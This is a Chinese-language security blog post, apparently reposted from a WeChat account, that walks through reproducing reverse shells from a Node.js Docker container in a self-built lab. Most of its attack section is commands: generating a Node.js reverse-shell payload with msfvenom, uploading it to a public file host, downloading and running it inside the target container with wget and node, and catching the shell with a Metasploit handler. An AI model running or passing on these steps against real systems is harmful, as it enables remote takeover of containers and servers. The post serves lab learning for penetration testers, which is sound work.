容器(​docker) + node.js反弹shell

  • A+
所属分类:安全文章

### 前言

这篇文章是我遇到的1种新环境(云上)的渗透,后来听团队大佬大概讲了一下操作(node.js 反弹shell),作为菜鸡的我一向很自觉,学技术自然得"趁热打铁",于是下班回来把环境大概模拟出来,复现了一波。

:实际情况是shell在容器内可以用node.js反弹出shell,但是很不稳定,大概20s左右就掉了,,,现在等大佬们的操作了🙈。



### 环境搭建

  • step 1

    •  准备两台服务器

  • step 2:

    • 1台安装docker,dokcer安装node.js

  • step 3:

    • 1台安装msf


获取云服务器(腾讯云,Ubuntu)

氪金氪金

ubuntu安装Docker
# 卸载旧版dockersudo apt-get remove docker docker-engine docker.io# 更新系统软件sudo apt-get update # 安装依赖包sudo apt-get install     apt-transport-https     ca-certificates     curl     gnupg-agent     software-properties-common# 添加官方密钥curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 再次更新系统软件sudo apt-get update # 使用脚本自动安装dockercurl -fsSL get.docker.com -o get-docker.shsudo sh get-docker.sh --mirror Aliyun# 查看docker安装的版本docker -v
dokcer安装node.js
# 命令来查看可用版本docker search node # 查看是否已安装了 nodedocker images# 拉取官方的最新版本的镜像docker pull node:latest# 运行 node 容器(--name:容器名称)docker run -itd --name shell_from_node node# 进入容器并查看 node 版本docker exec -it shell_from_node /bin/bash node -v


容器(​docker) + node.js反弹shell


到这里,环境搭建完毕。



### 复现

姿势1 lambda Node.js 反弹shell

首先安装vim(编辑shell.js)

apt-get updateapt-get install

shell.js源码如下:

容器(​docker) + node.js反弹shell

编辑完保存为shell.js, 然后直接在目标机器上执行即可

node shell.js

图1)

容器(​docker) + node.js反弹shell

(图2)容器(​docker) + node.js反弹shell

如图所示,成功反弹shell。


姿势2 msf+node.js 反弹shell

安装msf

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

注:踩坑如下:容器(​docker) + node.js反弹shell

Failed to connect to raw.githubusercontent.com port 443: Connection refused

解决方式:

sudo vi /etc/hosts# 在hosts中添加199.232.28.133raw.githubusercontent.com# 即可

msf安装成功:

容器(​docker) + node.js反弹shell

msf 生成payload (node.js)

msfvenom -p nodejs/shell_reverse_tcp LHOST=1.1.1.1 LPORT=8889 -f raw > msf_shell.js
容器(​docker) + node.js反弹shell

上传到bashupload

curl https://bashupload.com/msf_shell.js --data-binary @msf_shell.js
容器(​docker) + node.js反弹shell

然后直接在目标容器下载该payload并执行:

wget https://bashupload.com/56yrL/msf_shell.js
容器(​docker) + node.js反弹shell
node msf_shell.js
容器(​docker) + node.js反弹shell

在vps上设置msf监听

use exploit/multi/handlerset payload nodejs/shell_reverse_tcpset lhost 1.1.1.1set lport 8889exploit

容器(​docker) + node.js反弹shell

如图,成功反弹shell。



参考:

https://tonghuaroot.com/


本文始发于微信公众号(don9sec):容器(​docker) + node.js反弹shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: